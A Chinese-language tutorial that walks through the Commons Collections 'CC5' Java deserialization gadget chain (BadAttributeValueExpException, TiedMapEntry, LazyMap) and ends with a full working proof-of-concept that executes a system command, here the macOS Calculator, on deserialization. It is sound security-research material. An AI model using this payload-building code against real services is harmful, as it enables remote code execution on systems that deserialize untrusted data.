1.CommonsCollections5利用链分析
这个利用链和CC1同样使用了lazyMap
,通过调用lazyMap
的get
方法获取一个不存在的键来触发ChainedTransformer.transform()
。CC1中使用的是AnnotationInvocationHandler
作为代理类,在invoke
方法中触发lazyMap.get()
。CC5
中,作者使用了TiedMapEntry
和BadAttributeValueExpException
来触发lazyMap.get
。首先来看一下这两个类:
1.1 TiedMapEntry
该类保存于org.apache.commons.collections.keyvalue.TiedMapEntry
,
首先来看一下这个类的构造函数,代码如下:
public TiedMapEntry(Map map, Object key) { super(); this.map = map; this.key = key; }
传入两个参数,一个是Map,另一个是一个对象,然后分别赋值给类内部的两个属性。那么如果map
传入一个我们构造的lazyMap
那么只要调用map.get
即可触发lazyMap.get
。恰好就在TiedMapEntry.getValue
方法中有调用,代码如下:
public Object getValue() { return map.get(key); }
并且TiedMapEntry.toString
中调用了TiedMapEntry.getValue
,代码如下:
public String toString() { return getKey() + "=" + getValue(); }
因此只要我们的TiedMapEntry设置map属性为恶意的LazyMap,并且getValue
或者toString
方法被调用即可触发LazyMap.get
。这里作者使用了BadAttributeValueExpException
来在反序列化中触发TiedMapEntry.getValue
。
1.2 BadAttributeValueExpException
该类保存于javax.management.BadAttributeValueExpException
,先看一下该类的readObject
方法:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);//获取val实例 if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString();//可以看到这里调用了toString方法 } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
代码中关键部分为Object valObj = gf.get("val", null);
和val = valObj.toString();
。首先获取一个名为val
属性的实例,当val
实例不为null
,并且不属于String
类时,并且System.getSecurityManager() == null
时便会触发valObj.toString();
。这里假如我们的val
属性设置为一个1.1节中构造的恶意TiedMapEntry
,那么就会触发lazyMap.get
。当然作者也是这么使用的。不过先看一下System.getSecurityManager
为什么会等于null?以及这是什么东西?
1.3 System.getSecurityManager
当运行未知的Java程序的时候,该程序可能有恶意代码,此时就可以使用SecurityManager(Java安全管理器) 来设置禁止程序执行哪些操作,例如禁止执行关机、删除文件等操作。启用Java安全管理器需要添加一个配置文件来指明权限,并在启动程序时通过附加参数启动安全管理器。例如:
java -jar test.jar -Djava.security.manager -Djava.security.policy="/tmp/java.policy"
如何配置该安全管理器不是我们学习的重点,我们只需要知道如果运行时未指定启动安全管理器则System.getSecurityManager()
得到的结果将会是null
。
1.4 CC5源码
综上所属,反序列化时调用栈如下:
Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ....省略.... //后面就是触发ChainedTransformer.transform()那一串了
测试代码如下:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CC5Test { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); //设置val,这里注意之所以在这里用反射方法设置,主要是因为BadAttributeValueExpException构造函数会调用传入实例的toString Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, entry); //设置iTransformers参数 Field iTransformersField = transformerChain.getClass().getDeclaredField("iTransformers"); iTransformersField.setAccessible(true); iTransformersField.set(transformerChain, transformers); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(val); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); } }